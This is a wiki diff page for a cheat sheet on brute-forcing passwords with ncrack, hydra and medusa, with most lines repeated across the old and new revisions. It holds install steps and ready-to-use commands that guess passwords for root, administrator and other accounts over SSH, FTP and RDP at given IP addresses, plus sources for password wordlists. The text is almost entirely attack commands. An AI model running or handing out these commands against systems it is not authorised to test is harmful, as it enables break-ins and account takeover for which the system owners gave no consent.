2,306
edits
Changes
Jump to navigation
Jump to search
mLine 1:
Line 1: − + − + Line 8:
Line 8: − + + − + − + − + − + Line 24:
Line 25: − + − + − + − + Line 37:
Line 38: − + − + − + − [[wget http://downloads.skullsecurity.org/passwords/500-worst-passwords.txt]] + + + + +
→Wordlists
Brute Forcing Passwords with ncrack, hydra and medusa
Brute Forcing Passwords with ncrack, hydra and medusa
= ncrack =
=ncrack=
== Install ==
==Install==
wget https://nmap.org/ncrack/dist/ncrack-0.5.tar.gz
wget https://nmap.org/ncrack/dist/ncrack-0.5.tar.gz
./configure
./configure
make install
make install
== SSH ==
==SSH==
ncrack -p 22 --user root -P 500-worst-passwords.txt 10.10.10.10
ncrack -p 22 --user root -P 500-worst-passwords.txt 10.10.10.10
ncrack -v -p 22 -T 5 --user bob --save ncrack.save -P /usr/share/wordlists/rockyou.txt 10.28.0.254
== FTP ==
==FTP==
ncrack -u test -P 500-worst-passwords.txt -T 5 10.10.10.10 -p 21
ncrack -u test -P 500-worst-passwords.txt -T 5 10.10.10.10 -p 21
== RDP ==
==RDP==
ncrack -u administrator -P 500-worst-passwords.txt -p 3389 10.212.50.21
ncrack -u administrator -P 500-worst-passwords.txt -p 3389 10.212.50.21
= hydra =
=hydra=
== Install ==
==Install==
wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz
wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz
./configure
./configure
make install
make install
== SSH ==
==SSH==
hydra -l root -P 500-worst-passwords.txt 10.10.10.10 ssh
hydra -l root -P 500-worst-passwords.txt 10.10.10.10 ssh
== FTP ==
==FTP==
hydra -l root -P 500-worst-passwords.txt 10.10.10.10 ftp
hydra -l root -P 500-worst-passwords.txt 10.10.10.10 ftp
= medusa =
=medusa=
== Install ==
==Install==
wget http://www.foofus.net/jmk/tools/medusa-2.0.tar.gz
wget http://www.foofus.net/jmk/tools/medusa-2.0.tar.gz
./configure
./configure
make install
make install
== SSH ==
==SSH==
medusa -u root -P 500-worst-passwords.txt -h 10.10.10.10 -M ssh
medusa -u root -P 500-worst-passwords.txt -h 10.10.10.10 -M ssh
== FTP ==
==FTP==
medusa -u test -P 500-worst-passwords.txt -h 10.10.10.10 -M ftp
medusa -u test -P 500-worst-passwords.txt -h 10.10.10.10 -M ftp
= Wordlists =
=Wordlists=
[wget http://downloads.skullsecurity.org/passwords/500-worst-passwords.txt wget http://downloads.skullsecurity.org/passwords/500-worst-passwords.txt]
sudo apt -y install seclists
https://github.com/danielmiessler/SecLists
<br />